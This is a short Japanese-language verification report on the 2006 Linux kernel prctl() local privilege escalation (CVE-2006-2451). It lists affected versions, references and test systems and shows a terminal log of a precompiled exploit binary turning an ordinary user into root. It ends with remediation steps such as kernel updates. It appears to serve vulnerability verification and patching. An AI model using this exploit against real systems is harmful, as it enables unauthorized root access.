Linux >= 2.6.13 prctl kernel Local Root Exploit

• 2006/07/15　検証環境の追加
  • Author grin

• 2006/07/13　初版
  • Author kikuzou

• Linux Kernelの prctl() に脆弱性
• ローカルユーザはローカルマシンの root 権限を得ることが可能
• 2006/07/07 公開

• Linux Kernel 2.6.13 およびそれ以前

• CVE-2006-2451
• Secunia::Linux Kernel "prctl" Privilege Escalation Vulnerability
• RHSA-2006:0574-8

• CentOS 4.3
  • Kernel 2.6.9-34.0.1.EL
• Fedora Core 5
  • Kernel 2.6.15-1.2054_FC5

• root権限を取得可能。
• 一般ユーザでログイン後、以下コマンドを実行する。

$ id
uid=502(testuser) gid=503(testuser) 所属グループ=503(testuser)
$ 
$ ./linux-kernel-prctl

prctl() suidsafe exploit

(C) Julien TINNES

[+] Installed signal handler
[+] We are suidsafe dumpable!
[+] Malicious string forged
[+] Segfaulting child
[+] Waiting for exploit to succeed (~59 seconds)
[+] getting root shell
sh-3.00# 
sh-3.00# id
uid=0(root) gid=0(root) 所属グループ=503(testuser)
sh-3.00# 

1. Kernelを 2.6.17.4 にバージョンアップ
2. 各ディストリビューションのkernelアップデート
   • RedHat → 2.6.9-34.0.2.EL にアップデート
3. 厳密なユーザ管理（パスワードの再考、不要なユーザの削除等）

• 一般ユーザでログイン後、root権限を取得する。